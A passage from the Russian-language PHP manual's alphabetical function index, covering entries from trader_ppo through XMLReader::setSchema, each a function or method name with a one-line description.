    • trader_ppo - Вычисляет процентный ценовой осциллятор
    • trader_roc - Возвращает скорость изменения: ((цена / предыдущая цена) - 1) * 100
    • trader_rocp - Коэффициент изменения в процентах: (цена-предыдущая цена)/предыдущая цена
    • trader_rocr - Рассчитывает коэффициент изменения курса: (цена / предыдущая цена)
    • trader_rocr100 - Рассчитывает коэффициент изменения курса шкалы: (цена / предыдущая цена) * 100
    • trader_rsi - Вычисляет индекс относительной силы
    • trader_sar - Вычисляет параболический SAR
    • trader_sarext - Вычисляет расширенный параболический SAR
    • trader_set_compat - Устанавливает режим совместимости
    • trader_set_unstable_period - Устанавливает нестабильный период
    • trader_sin - Вычисляет векторный тригонометрический синус
    • trader_sinh - Находит векторный тригонометрический гиперболический синус
    • trader_sma - Возвращает простое скользящее среднее
    • trader_sqrt - Извлекает векторный квадратный корень
    • trader_stddev - Рассчитывает стандартное отклонение
    • trader_stoch - Вычисляет стохастический осциллятор
    • trader_stochf - Вычисляет быстрый стохастический осциллятор
    • trader_stochrsi - Вычисляет стохастический индекс относительной силы
    • trader_sub - Вычитает арифметический вектор
    • trader_sum - Суммирует
    • trader_t3 - Вычисляет тройную экспоненциальную скользящую среднюю T3
    • trader_tan - Вычисляет векторный тригонометрический тангенс
    • trader_tanh - Вычисляет тригонометрический вектор Тан
    • trader_tema - Вычисляет тройную экспоненциальную скользящую среднюю TEMA
    • trader_trange - Вычисляет истинный диапазон
    • trader_trima - Вычисляет треугольную скользящую среднюю
    • trader_trix - Рассчитывает 1-дневную скорость изменения (ROC) тройной гладкой EMA
    • trader_tsf - Прогнозирует временной ряд
    • trader_typprice - Вычисляет типичную цену
    • trader_ultosc - Вычисляет окончательный, или предельный, осциллятор
    • trader_var - Вычисляет вариацию
    • trader_wclprice - Рассчитывает взвешенную цену закрытия
    • trader_willr - Вычисляет процентный диапазон Уильямса
    • trader_wma - Возвращает взвешенное скользящее среднее
    • trait_exists - Проверяет, существует ли трейт
    • Transliterator::create - Создать транслитератор
    • Transliterator::createFromRules - Создать транслитератор на основе правил
    • Transliterator::createInverse - Создать инвертированный транслитератор
    • Transliterator::getErrorCode - Получить код последней ошибки
    • Transliterator::getErrorMessage - Получить последнее сообщение об ошибке
    • Transliterator::listIDs - Получить идентификаторы транслитератора
    • Transliterator::transliterate - Транслитерировать строку
    • Transliterator::__construct - Приватный конструктор
    • trigger_error - Вызывает пользовательскую ошибку, предупреждение или уведомление
    • trim - Удаляет пробелы (или другие символы) из начала и конца строки
  • u
    • uasort - Сортирует массив пользовательской функцией сравнения, сохраняя ассоциацию индексов
    • ucfirst - Преобразовывает первый символ строки в верхний регистр
    • UConverter::convert - Конвертировать строку из одной кодировки в другую
    • UConverter::fromUCallback - Callback-функция по умолчанию для "from"
    • UConverter::getAliases - Получить псевдонимы для заданного имени
    • UConverter::getAvailable - Получить доступные имена канонических конверторов
    • UConverter::getDestinationEncoding - Получить кодировку назначения
    • UConverter::getDestinationType - Получить тип конвертера назначения
    • UConverter::getErrorCode - Получить код последней ошибки объекта
    • UConverter::getErrorMessage - Получить последнее сообщение об ошибке в объекте
    • UConverter::getSourceEncoding - Получить исходную кодировку
    • UConverter::getSourceType - Получить тип конвертера источника
    • UConverter::getStandards - Получить стандарты, связанные с именами конвертеров
    • UConverter::getSubstChars - Получить замену символов
    • UConverter::reasonText - Получить строковое представление причины обратного вызова
    • UConverter::setDestinationEncoding - Установить кодировку назначения
    • UConverter::setSourceEncoding - Установить исходную кодировку
    • UConverter::setSubstChars - Установка символов подстановки
    • UConverter::toUCallback - Callback-функция по умолчанию для "to"
    • UConverter::transcode - Преобразовывает строку из одной кодировки символов в другую
    • UConverter::__construct - Создать объект UConverter
    • ucwords - Преобразовывает в верхний регистр первый символ каждого слова в строке
    • UI\Area::onDraw - Функция обратного вызова при рисовании
    • UI\Area::onKey - Функция обратного вызова при нажатии
    • UI\Area::onMouse - Функция обратного вызова мыши
    • UI\Area::redraw - Перерисовать область
    • UI\Area::scrollTo - Прокрутить область
    • UI\Area::setSize - Установить размер
    • UI\Control::destroy - Уничтожить управляющий элемент
    • UI\Control::disable - Отключить управляющий элемент
    • UI\Control::enable - Включить управляющий элемент
    • UI\Control::getParent - Получить родительский управляющий элемент
    • UI\Control::getTopLevel - Получить верхний уровень
    • UI\Control::hide - Скрыть управляющий элемент
    • UI\Control::isEnabled - Определить, включён ли управляющий элемент
    • UI\Control::isVisible - Определить, видимый ли управляющий элемент
    • UI\Control::setParent - Установить родительский управляющий элемент
    • UI\Control::show - Показать управляющий элемент
    • UI\Controls\Box::append - Добавить управляющий элемент
    • UI\Controls\Box::delete - Удалить управляющий элемент
    • UI\Controls\Box::getOrientation - Получить ориентацию
    • UI\Controls\Box::isPadded - Определение заполнения
    • UI\Controls\Box::setPadded - Установить заполнение
    • UI\Controls\Box::__construct - Создать новый объект Box
    • UI\Controls\Button::getText - Получить текст
    • UI\Controls\Button::onClick - Обработчик клика
    • UI\Controls\Button::setText - Установить текст
    • UI\Controls\Button::__construct - Создать новый объект Button
    • UI\Controls\Check::getText - Получить текст
    • UI\Controls\Check::isChecked - Определение отметки
    • UI\Controls\Check::onToggle - Функция обратного вызова переключения
    • UI\Controls\Check::setChecked - Установить статус выбранности
    • UI\Controls\Check::setText - Установить текст
    • UI\Controls\Check::__construct - Создать новый объект Check
    • UI\Controls\ColorButton::getColor - Получить объект Color
    • UI\Controls\ColorButton::onChange - Обработчик изменения
    • UI\Controls\ColorButton::setColor - Установить объект Color
    • UI\Controls\Combo::append - Добавить опцию
    • UI\Controls\Combo::getSelected - Получить выбранную опцию
    • UI\Controls\Combo::onSelected - Обработчик выбранной опции
    • UI\Controls\Combo::setSelected - Устанавливает выбранную опцию
    • UI\Controls\EditableCombo::append - Добавить опцию
    • UI\Controls\EditableCombo::getText - Получить текст
    • UI\Controls\EditableCombo::onChange - Обработчик изменения
    • UI\Controls\EditableCombo::setText - Установить текст
    • UI\Controls\Entry::getText - Получить текст
    • UI\Controls\Entry::isReadOnly - Определить, является ли элемент только для чтения
    • UI\Controls\Entry::onChange - Обработчик изменения
    • UI\Controls\Entry::setReadOnly - Установить "только для чтения"
    • UI\Controls\Entry::setText - Установить текст
    • UI\Controls\Entry::__construct - Создать новый объект Entry
    • UI\Controls\Form::append - Добавить управляющий элемент
    • UI\Controls\Form::delete - Удалить элемент управления
    • UI\Controls\Form::isPadded - Определение заполнения
    • UI\Controls\Form::setPadded - Установить заполнение
    • UI\Controls\Grid::append - Добавить управляющий элемент
    • UI\Controls\Grid::isPadded - Определение заполнения
    • UI\Controls\Grid::setPadded - Установить заполнение
    • UI\Controls\Group::append - Добавить управляющий элемент
    • UI\Controls\Group::getTitle - Получить заголовок
    • UI\Controls\Group::hasMargin - Определение поля
    • UI\Controls\Group::setMargin - Установить поле
    • UI\Controls\Group::setTitle - Установить заголовок
    • UI\Controls\Group::__construct - Создать новый объект Group
    • UI\Controls\Label::getText - Получить текст
    • UI\Controls\Label::setText - Установить текст
    • UI\Controls\Label::__construct - Создать новый объект Label
    • UI\Controls\MultilineEntry::append - Добавить текст
    • UI\Controls\MultilineEntry::getText - Получить текст
    • UI\Controls\MultilineEntry::isReadOnly - Определение "только для чтения"
    • UI\Controls\MultilineEntry::onChange - Обработчик изменения
    • UI\Controls\MultilineEntry::setReadOnly - Установить "только для чтения"
    • UI\Controls\MultilineEntry::setText - Установить текст
    • UI\Controls\MultilineEntry::__construct - Создать новый объект "Многострочный ввод"
    • UI\Controls\Picker::__construct - Создаёт новый объект Picker
    • UI\Controls\Progress::getValue - Получить значение
    • UI\Controls\Progress::setValue - Установить значение
    • UI\Controls\Radio::append - Добавляет вариант
    • UI\Controls\Radio::getSelected - Получить выбранный вариант
    • UI\Controls\Radio::onSelected - Обработчик выбора
    • UI\Controls\Radio::setSelected - Установить выбранный вариант
    • UI\Controls\Separator::__construct - Создать новый объект Separator
    • UI\Controls\Slider::getValue - Получить значение
    • UI\Controls\Slider::onChange - Обработчик изменения
    • UI\Controls\Slider::setValue - Установить значение
    • UI\Controls\Slider::__construct - Создаёт новый объект Slider
    • UI\Controls\Spin::getValue - Получить значение
    • UI\Controls\Spin::onChange - Обработчик изменения
    • UI\Controls\Spin::setValue - Установить значение
    • UI\Controls\Spin::__construct - Создаёт новый объект Spin
    • UI\Controls\Tab::append - Добавить страницу
    • UI\Controls\Tab::delete - Удалить страницу
    • UI\Controls\Tab::hasMargin - Определения поля
    • UI\Controls\Tab::insertAt - Вставить страницу
    • UI\Controls\Tab::pages - Количество страниц
    • UI\Controls\Tab::setMargin - Установить поле
    • UI\Draw\Brush::getColor - Получить цвет
    • UI\Draw\Brush::setColor - Установить цвет
    • UI\Draw\Brush::__construct - Создать новый объект Brush
    • UI\Draw\Brush\Gradient::addStop - Добавляет узел градиента
    • UI\Draw\Brush\Gradient::delStop - Удаляет узел градиента
    • UI\Draw\Brush\Gradient::setStop - Устанавливает узел градиента
    • UI\Draw\Brush\LinearGradient::__construct - Конструктор класса LinearGradient
    • UI\Draw\Brush\RadialGradient::__construct - Конструктор класса RadialGradient
    • UI\Draw\Color::getChannel - Управление цветом
    • UI\Draw\Color::setChannel - Управление цветом
    • UI\Draw\Color::__construct - Создать новый объект Color
    • UI\Draw\Matrix::invert - Инвертировать матрицу
    • UI\Draw\Matrix::isInvertible - Определение, инвертирована ли матрица
    • UI\Draw\Matrix::multiply - Умножить матрицу
    • UI\Draw\Matrix::rotate - Перевернуть матрицу
    • UI\Draw\Matrix::scale - Масштабировать матрицу
    • UI\Draw\Matrix::skew - Наклонить матрицу
    • UI\Draw\Matrix::translate - Перевести матрицу
    • UI\Draw\Path::addRectangle - Нарисовать прямоугольник
    • UI\Draw\Path::arcTo - Нарисовать дугу
    • UI\Draw\Path::bezierTo - Нарисовать кривую Безье
    • UI\Draw\Path::closeFigure - Закрыть фигуру
    • UI\Draw\Path::end - Завершить путь
    • UI\Draw\Path::lineTo - Нарисовать линию
    • UI\Draw\Path::newFigure - Нарисовать фигуру
    • UI\Draw\Path::newFigureWithArc - Нарисовать фигуру с дугой
    • UI\Draw\Path::__construct - Создать новый объект Path
    • UI\Draw\Pen::clip - Обрезать путь
    • UI\Draw\Pen::fill - Залить путь
    • UI\Draw\Pen::restore - Восстановить
    • UI\Draw\Pen::save - Сохранить
    • UI\Draw\Pen::stroke - Обвести путь
    • UI\Draw\Pen::transform - Преобразовывает матрицу
    • UI\Draw\Pen::write - Нарисовать текст в точке
    • UI\Draw\Stroke::getCap - Получить конец линии
    • UI\Draw\Stroke::getJoin - Получить соединение линии
    • UI\Draw\Stroke::getMiterLimit - Получить предел среза
    • UI\Draw\Stroke::getThickness - Получить толщину
    • UI\Draw\Stroke::setCap - Установить конец линии
    • UI\Draw\Stroke::setJoin - Получить соединение линии
    • UI\Draw\Stroke::setMiterLimit - Установить предел среза
    • UI\Draw\Stroke::setThickness - Установить толщину
    • UI\Draw\Stroke::__construct - Создать новый объект Stroke
    • UI\Draw\Text\Font::getAscent - Показатели шрифта
    • UI\Draw\Text\Font::getDescent - Показатели шрифта
    • UI\Draw\Text\Font::getLeading - Показатели шрифта
    • UI\Draw\Text\Font::getUnderlinePosition - Показатели шрифта
    • UI\Draw\Text\Font::getUnderlineThickness - Показатели шрифта
    • UI\Draw\Text\Font::__construct - Создать новый объект Font
    • UI\Draw\Text\Font\Descriptor::getFamily - Получает семейство шрифтов
    • UI\Draw\Text\Font\Descriptor::getItalic - Определение стиля
    • UI\Draw\Text\Font\Descriptor::getSize - Определение размера
    • UI\Draw\Text\Font\Descriptor::getStretch - Определение стиля
    • UI\Draw\Text\Font\Descriptor::getWeight - Определение насыщенности
    • UI\Draw\Text\Font\Descriptor::__construct - Конструктор класса Font Descriptor
    • UI\Draw\Text\Font\fontFamilies - Извлечь семейство шрифтов
    • UI\Draw\Text\Layout::setColor - Установить цвет
    • UI\Draw\Text\Layout::setWidth - Установить ширину
    • UI\Draw\Text\Layout::__construct - Создать новый объект макета текста
    • UI\Executor::kill - Остановить исполнитель
    • UI\Executor::onExecute - Callback-функция выполнения
    • UI\Executor::setInterval - Управление интервалом
    • UI\Executor::__construct - Создать новый объект Executor
    • UI\Menu::append - Добавить пункт меню
    • UI\Menu::appendAbout - Добавить пункт меню About
    • UI\Menu::appendCheck - Добавить пункт меню с чекбоксом
    • UI\Menu::appendPreferences - Добавить пункт меню "Настройки" (Preferences)
    • UI\Menu::appendQuit - Добавить пункт меню "Выход" (Quit)
    • UI\Menu::appendSeparator - Добавить пункт меню "Разделитель" (Separator)
    • UI\Menu::__construct - Создать новый объект Menu
    • UI\MenuItem::disable - Отключить пункт меню
    • UI\MenuItem::enable - Включить пункт меню
    • UI\MenuItem::isChecked - Определение выбранности пункта
    • UI\MenuItem::onClick - Обработчик нажатия
    • UI\MenuItem::setChecked - Выбрать пункт меню
    • UI\Point::at - Приведение Size
    • UI\Point::getX - Получает X
    • UI\Point::getY - Получить Y
    • UI\Point::setX - Установить X
    • UI\Point::setY - Установить Y
    • UI\Point::__construct - Создать новый объект Point
    • UI\quit - Выйти из цикла UI
    • UI\run - Войти в цикл UI
    • UI\Size::getHeight - Получает высоту
    • UI\Size::getWidth - Получает ширину
    • UI\Size::of - Приведение Point
    • UI\Size::setHeight - Установить высоту
    • UI\Size::setWidth - Установить ширину
    • UI\Size::__construct - Создать новый объект Size
    • UI\Window::add - Добавить элемент управления
    • UI\Window::error - Показать блок ошибки
    • UI\Window::getSize - Получить размер окна
    • UI\Window::getTitle - Получить заголовок
    • UI\Window::hasBorders - Определение рамки
    • UI\Window::hasMargin - Определение полей
    • UI\Window::isFullScreen - Определение полного экрана
    • UI\Window::msg - Показать блок сообщения
    • UI\Window::onClosing - Callback-функция закрытия
    • UI\Window::open - Открыть диалоговое окно
    • UI\Window::save - Сохранить диалоговое окно
    • UI\Window::setBorders - Использование рамок
    • UI\Window::setFullScreen - Использование полного экрана
    • UI\Window::setMargin - Использование поля
    • UI\Window::setSize - Установить размер
    • UI\Window::setTitle - Заголовок окна
    • UI\Window::__construct - Создать новый объект Window
    • uksort - Сортирует массив по ключам пользовательской функцией сравнения
    • umask - Изменяет текущую маску прав доступа для вновь созданных файлов и каталогов (umask)
    • uniqid - Сгенерировать уникальный ID
    • UnitEnum::cases - Возвращает список вариантов перечисления
    • unixtojd - Переводит метку времени Unix в юлианский день
    • unlink - Удаляет файл
    • unpack - Распаковывает данные из бинарной строки
    • unregister_tick_function - Удаляет функцию из списка зарегистрированных для выполнения на каждом тике
    • unserialize - Создаёт PHP-значение из хранимого представления
    • unset - Удаляет переменную
    • untaint - Исправить строку
    • uopz_add_function - Добавляет несуществующую функцию или метод
    • uopz_allow_exit - Позволяет управлять отключённым опкодом exit
    • uopz_backup - Резервирует функцию
    • uopz_compose - Составить класс
    • uopz_copy - Скопировать функцию
    • uopz_delete - Удалить функцию
    • uopz_del_function - Удаляет ранее добавленную функцию или метод
    • uopz_extend - Расширить класс во время выполнения
    • uopz_flags - Получить или установить флаги для функции или класса
    • uopz_function - Создаёт функцию во время выполнения
    • uopz_get_exit_status - Получить последний установленный статус выхода
    • uopz_get_hook - Получает ранее установленный обработчик на функцию или метод
    • uopz_get_mock - Получить текущий имитатор (mock) для класса
    • uopz_get_property - Получает значение класса или свойство экземпляра
    • uopz_get_return - Получает предыдущее установленное возвращаемое значение для функции
    • uopz_get_static - Возвращает статические переменные из области видимости функции или метода
    • uopz_implement - Реализует интерфейс во время выполнения
    • uopz_overload - Перегрузить опкод VM
    • uopz_redefine - Переопределить константу
    • uopz_rename - Переименовать функцию во время выполнения
    • uopz_restore - Восстановить ранее зарезервированную функцию
    • uopz_set_hook - Устанавливает обработчик для выполнения при вызове функции или метода
    • uopz_set_mock - Использовать имитатор вместо класса для новых объектов
    • uopz_set_property - Устанавливает значение существующего свойства класса или экземпляра
    • uopz_set_return - Предоставить возвращаемое значение для существующей функции
    • uopz_set_static - Устанавливает статические переменные в области видимости функции или метода
    • uopz_undefine - Отменяет определение константы
    • uopz_unset_hook - Удаляет ранее установленную функцию или метод
    • uopz_unset_mock - Удалить ранее установленный имитатор
    • uopz_unset_return - Отменяет ранее установленное возвращаемое значение для функции
    • urldecode - Декодирование URL-кодированной строки
    • urlencode - URL-кодирует строку
    • user_error - Псевдоним trigger_error
    • use_soap_error_handler - Установить, следует ли использовать обработчик ошибок SOAP
    • usleep - Задержка выполнения в микросекундах
    • usort - Сортирует массив по значениям используя пользовательскую функцию для сравнения элементов
    • utf8_decode - Преобразовывает строку из кодировки UTF-8 в кодировку ISO-8859-1, заменяя недопустимые или непредставимые символы
    • utf8_encode - Преобразовывает строку из ISO-8859-1 в UTF-8
  • v
    • V8Js::executeString - Выполнить строку как код Javascript
    • V8Js::getExtensions - Возвращает массив зарегистрированных модулей
    • V8Js::getPendingException - Возвращает ожидающее непойманное исключение Javascript
    • V8Js::registerExtension - Регистрация модуля Javascript для V8Js
    • V8Js::__construct - Создаёт новый объект V8Js
    • V8JsException::getJsFileName - Получить имя файла JavaScript
    • V8JsException::getJsLineNumber - Получить номер строки
    • V8JsException::getJsSourceLine - Получить исходную строку JavaScript
    • V8JsException::getJsTrace - Получить стек вызовов
    • variant::__construct - Конструктор класса variant
    • variant_abs - Получить абсолютное значение варианта
    • variant_add - Сложить значения двух вариантов
    • variant_and - Побитовое И над двумя вариантами
    • variant_cast - Преобразовывает вариант в новый вариант другого типа
    • variant_cat - Объединение (конкатенация) значений двух вариантов
    • variant_cmp - Сравнить два варианта
    • variant_date_from_timestamp - Получает представление даты для варианта из метки времени Unix
    • variant_date_to_timestamp - Преобразовывает вариант типа дата/время во временную метку Unix
    • variant_div - Получить результат деления двух вариантов
    • variant_eqv - Побитовая эквиваленция двух вариантов
    • variant_fix - Вернуть целую часть варианта
    • variant_get_type - Получить тип варианта
    • variant_idiv - Делит преобразованные в целые числа варианты
    • variant_imp - Побитовая импликация над двумя вариантами
    • variant_int - Вернуть целочисленную часть варианта
    • variant_mod - Остаток от деления двух вариантов
    • variant_mul - Умножает значения двух вариантов
    • variant_neg - Логическое отрицание над вариантом
    • variant_not - Выполняет побитовое отрицание над вариантом
    • variant_or - Побитовое ИЛИ над двумя вариантами
    • variant_pow - Возводит один вариант в степень, заданную во втором
    • variant_round - Округляет вариант с заданной точностью
    • variant_set - Присвоение нового значения объекту варианта
    • variant_set_type - Приводит вариант к другому типу «по месту»
    • variant_sub - Вычитает значение правого варианта из левого
    • variant_xor - Исключающее ИЛИ над двумя вариантами
    • VarnishAdmin::auth - Аутентификация на экземпляре varnish
    • VarnishAdmin::ban - Запретить URL-адреса, используя выражение VCL
    • VarnishAdmin::banUrl - Запретить URL, используя выражение VCL
    • VarnishAdmin::clearPanic - Очистить критические сообщения экземпляра varnish
    • VarnishAdmin::connect - Подключение к интерфейсу администрирования экземпляра varnish
    • VarnishAdmin::disconnect - Отключение от интерфейса администрирования экземпляра varnish
    • VarnishAdmin::getPanic - Получить последнее критическое сообщение на экземпляре varnish
    • VarnishAdmin::getParams - Получить параметры конфигурации текущего экземпляра varnish
    • VarnishAdmin::isRunning - Проверить, выполняется в настоящий момент подчинённый процесс varnish
    • VarnishAdmin::setCompat - Установить параметр конфигурации compat класса
    • VarnishAdmin::setHost - Установить параметр конфигурации host класса
    • VarnishAdmin::setIdent - Установить параметр конфигурации ident класса
    • VarnishAdmin::setParam - Установить параметр конфигурации на текущем экземпляре varnish
    • VarnishAdmin::setPort - Установить параметр конфигурации port класса
    • VarnishAdmin::setSecret - Установить параметр конфигурации secret класса
    • VarnishAdmin::setTimeout - Установить параметр конфигурации timeout класса
    • VarnishAdmin::start - Запустить рабочий процесс varnish
    • VarnishAdmin::stop - Остановить рабочий процесс varnish
    • VarnishAdmin::__construct - VarnishAdmin constructor
    • VarnishLog::getLine - Получить следующую строку журнала
    • VarnishLog::getTagName - Получить строковое представление тега журнала по его индексу
    • VarnishLog::__construct - Конструктор Varnishlog
    • VarnishStat::getSnapshot - Получить снимок статистики текущего экземпляра varnish
    • VarnishStat::__construct - Конструктор VarnishStat
    • var_dump - Выводит информацию о переменной
    • var_export - Выводит или возвращает интерпретируемое строковое представление переменной
    • var_representation - Возвращает короткое, читаемое, разборчивое строковое представление переменной
    • version_compare - Сравнивает две «стандартизованные» строки с номером версии PHP
    • vfprintf - Записывает отформатированную строку в поток
    • virtual - Выполняет подзапрос Apache
    • vprintf - Выводит отформатированную строку
    • vsprintf - Возвращает отформатированную строку
    • Vtiful\Kernel\Excel::addSheet - Добавляет лист
    • Vtiful\Kernel\Excel::autoFilter - Добавляет автофильтр
    • Vtiful\Kernel\Excel::constMemory - Записывает файл с постоянным размером памяти
    • Vtiful\Kernel\Excel::data - Записывает данные
    • Vtiful\Kernel\Excel::fileName - Создаёт название файла
    • Vtiful\Kernel\Excel::getHandle - Получает дескриптор XLSX-файла
    • Vtiful\Kernel\Excel::header - Записывает заголовок
    • Vtiful\Kernel\Excel::insertFormula - Вставляет формулу расчёта
    • Vtiful\Kernel\Excel::insertImage - Вставляет изображение
    • Vtiful\Kernel\Excel::insertText - Вставляет текст
    • Vtiful\Kernel\Excel::mergeCells - Объединяет ячейки
    • Vtiful\Kernel\Excel::output - Выводит XLSX-файл на диск
    • Vtiful\Kernel\Excel::setColumn - Устанавливает формат столбца
    • Vtiful\Kernel\Excel::setRow - Устанавливает формат строки
    • Vtiful\Kernel\Excel::__construct - Создаёт объект Vtiful\Kernel\Excel
    • Vtiful\Kernel\Format::align - Устанавливает выравнивание
    • Vtiful\Kernel\Format::bold - Устанавливает полужирное начертание
    • Vtiful\Kernel\Format::italic - Устанавливает курсивное начертание
    • Vtiful\Kernel\Format::underline - Устанавливает подчёркивание
  • w
    • Warning::__construct - Конструктор класса Warning
    • wddx_add_vars - Добавить переменные в пакет WDDX с указанным идентификатором
    • wddx_deserialize - Десериализует пакет WDDX
    • wddx_packet_end - Завершает пакет WDDX с указанным идентификатором
    • wddx_packet_start - Запускает новый пакет WDDX со структурой внутри него
    • wddx_serialize_value - Сериализует одно значение внутри пакета WDDX
    • wddx_serialize_vars - Сериализация переменных в пакет WDDX
    • WeakMap::count - Подсчитывает количество живых записей в коллекции (map)
    • WeakMap::getIterator - Получает внешний итератор
    • WeakMap::offsetExists - Проверяет, есть ли в коллекции (map) определённый объект
    • WeakMap::offsetGet - Возвращает значение, на которое указывает определённый объект
    • WeakMap::offsetSet - Обновляет коллекцию (map) новой парой ключ-значение
    • WeakMap::offsetUnset - Удаляет запись из коллекции (map)
    • WeakReference::create - Создаёт новую слабую ссылку
    • WeakReference::get - Получает объект со слабой ссылкой
    • WeakReference::__construct - Конструктор, который запрещает реализацию
    • win32_continue_service - Возобновляет работу приостановленной службы
    • win32_create_service - Создаёт новую запись службы в базе данных SCM
    • win32_delete_service - Удаляет запись службы из базы данных SCM
    • win32_get_last_control_message - Возвращает последнее управляющее сообщение, которое было отправлено этой службе
    • win32_pause_service - Приостанавливает службу
    • win32_query_service_status - Запрашивает статус сервиса
    • win32_send_custom_control - Отправляет настраиваемый элемент управления в службу
    • win32_set_service_exit_code - Определяет или возвращает код выхода для текущей запущенной службы
    • win32_set_service_exit_mode - Определяет или возвращает режим выхода для текущей запущенной службы
    • win32_set_service_status - Обновляет статус службы
    • win32_start_service - Запускает службу
    • win32_start_service_ctrl_dispatcher - Добавляет в Диспетчер Служб скрипт, который может быть использован, как служба с заданным именем
    • win32_stop_service - Останавливает службу
    • wincache_fcache_fileinfo - Получает информацию о файлах, закешированных в файловом кеше
    • wincache_fcache_meminfo - Получает информацию об использовании памяти файлового кеша
    • wincache_lock - Получает эксклюзивную блокировку для данного ключа
    • wincache_ocache_fileinfo - Получает информацию о файлах, закешированных в кеше опкодов
    • wincache_ocache_meminfo - Получает информацию об использовании кеш-памяти опкодов
    • wincache_refresh_if_changed - Обновляет записи кеша для закешированных файлов
    • wincache_rplist_fileinfo - Получает информацию о разрешении кеша пути к файлу разрешения
    • wincache_rplist_meminfo - Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
    • wincache_scache_info - Получает информацию о файлах, закешированных в кеше сессии
    • wincache_scache_meminfo - Получает информацию об использовании кеш-памяти сессии
    • wincache_ucache_add - Добавляет переменную в пользовательский кеш, только если переменная ещё не существует в кеше
    • wincache_ucache_cas - Сравнивает переменную со старым значением и присваивает ей новое значение
    • wincache_ucache_clear - Удаляет всё содержимое пользовательского кеша
    • wincache_ucache_dec - Уменьшает значение, связанное с ключом
    • wincache_ucache_delete - Удаляет переменные из пользовательского кеша
    • wincache_ucache_exists - Проверяет, существует ли переменная в пользовательском кеше
    • wincache_ucache_get - Получает переменную, хранящуюся в пользовательском кеше
    • wincache_ucache_inc - Увеличивает значение, связанное с ключом
    • wincache_ucache_info - Получает информацию о данных, хранящихся в пользовательском кеше
    • wincache_ucache_meminfo - Получает информацию об использовании памяти пользовательского кеша
    • wincache_ucache_set - Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше
    • wincache_unlock - Снимает эксклюзивную блокировку данного ключа
    • wkhtmltox\Image\Converter::convert - Выполнить преобразование изображений
    • wkhtmltox\Image\Converter::getVersion - Определить версию конвертера
    • wkhtmltox\Image\Converter::__construct - Создать новый конвертер изображений
    • wkhtmltox\PDF\Converter::add - Добавление объекта для преобразования
    • wkhtmltox\PDF\Converter::convert - Выполнить преобразование PDF
    • wkhtmltox\PDF\Converter::getVersion - Определить версию конвертера
    • wkhtmltox\PDF\Converter::__construct - Создать новый PDF-конвертер
    • wkhtmltox\PDF\Object::__construct - Создать новый объект PDF
    • wordwrap - Переносит строку по указанному количеству символов
    • Worker::collect - Собрать ссылки на завершённые задачи
    • Worker::getStacked - Возвращает текущий размер стека
    • Worker::isShutdown - Определение состояния
    • Worker::shutdown - Остановить Worker
    • Worker::stack - Положить задачу на стек
    • Worker::unstack - Убрать задачу со стека
  • x
    • xattr_get - Получение расширенных атрибутов файла
    • xattr_list - Просмотр списка расширенных атрибутов файла
    • xattr_remove - Удаление расширенных атрибутов файла
    • xattr_set - Установка расширенных атрибутов файла
    • xattr_supported - Проверка поддержки расширенных атрибутов
    • xdiff_file_bdiff - Создать бинарный патч сравнивая два файла
    • xdiff_file_bdiff_size - Получить размер файла после применения бинарного патча
    • xdiff_file_bpatch - Применить бинарный патч к файлу
    • xdiff_file_diff - Создать унифицированный патч из сравнения двух файлов
    • xdiff_file_diff_binary - Псевдоним xdiff_file_bdiff
    • xdiff_file_merge3 - Объединение трёх файлов в один
    • xdiff_file_patch - Применение унифицированного патча к файлу
    • xdiff_file_patch_binary - Псевдоним xdiff_file_bpatch
    • xdiff_file_rabdiff - Создать бинарный патч сравнивая два файла с помощью полиноминального алгоритма Rabin fingerprinting
    • xdiff_string_bdiff - Создать бинарный патч для двух строк
    • xdiff_string_bdiff_size - Получить размер файла созданного после применения бинарного патча
    • xdiff_string_bpatch - Применение бинарного патча к строке
    • xdiff_string_diff - Создать обычный патч для двух строк
    • xdiff_string_diff_binary - Псевдоним xdiff_string_bdiff
    • xdiff_string_merge3 - Объединить три строки в одну
    • xdiff_string_patch - Применить обычный патч к строке
    • xdiff_string_patch_binary - Псевдоним xdiff_string_bpatch
    • xdiff_string_rabdiff - Сравнить две строки и создать бинарный патч используя полиноминальный алгоритм Rabin fingerprint
    • xhprof_disable - Останавливает профилирование xhprof
    • xhprof_enable - Запуск профилирования xhprof
    • xhprof_sample_disable - Остановить сэмплирующие профилирование xhprof
    • xhprof_sample_enable - Запуск сэмплирующего режима профилирования XHProf
    • XMLDiff\Base::diff - Производит сравнение двух документов XML
    • XMLDiff\Base::merge - Создаёт новый документ XML, основываясь на информации о его отличии от другого
    • XMLDiff\Base::__construct - Конструктор
    • XMLDiff\DOM::diff - Поиск различий в двух объектах DOMDocument
    • XMLDiff\DOM::merge - Объединяет объект DOMDocument, на основании другого объекта DOMDocument, полученного с помощью XMLDiff\DOM::diff
    • XMLDiff\File::diff - Сравнение двух файлов XML
    • XMLDiff\File::merge - Применить изменения к документу XML
    • XMLDiff\Memory::diff - Сравнение двух документов XML
    • XMLDiff\Memory::merge - Применить изменения к документу XML
    • XMLReader::close - Закрыть ввод XMLReader
    • XMLReader::expand - Возвратить копию текущего узла в виде объекта DOM
    • XMLReader::getAttribute - Получить значение атрибута с определённым именем
    • XMLReader::getAttributeNo - Получить значение атрибута по индексу
    • XMLReader::getAttributeNs - Получить значение атрибута по localname и URI
    • XMLReader::getParserProperty - Указывает, было ли определённое свойство установлено
    • XMLReader::isValid - Указывает, содержит ли анализируемый документ синтаксические ошибки
    • XMLReader::lookupNamespace - Найти пространство имён для префикса
    • XMLReader::moveToAttribute - Переместить курсор к атрибуту с заданным именем
    • XMLReader::moveToAttributeNo - Переместить курсор на атрибут по индексу
    • XMLReader::moveToAttributeNs - Переместить курсор к именованному атрибуту
    • XMLReader::moveToElement - Позиционировать курсор на родительском элементе текущего атрибута
    • XMLReader::moveToFirstAttribute - Переместить позицию курсора на первый атрибут
    • XMLReader::moveToNextAttribute - Переместить позицию курсора на следующий атрибут
    • XMLReader::next - Переместить курсор на следующий узел, пропуская все поддеревья
    • XMLReader::open - Установить URI, содержащий XML-документ для разбора
    • XMLReader::read - Переместиться к следующему узлу в документе
    • XMLReader::readInnerXml - Извлечь XML из текущего узла
    • XMLReader::readOuterXml - Получить XML из текущего узла, включая сам узел
    • XMLReader::readString - Прочитать содержимое текущего узла как строку
    • XMLReader::setParserProperty - Устанавливает опцию парсера
    • XMLReader::setRelaxNGSchema - Установить имя файла или URI для схемы RelaxNG
    • XMLReader::setRelaxNGSchemaSource - Устанавливает данные, содержащие схему RelaxNG
    • XMLReader::setSchema - Проверить документ, используя XSD
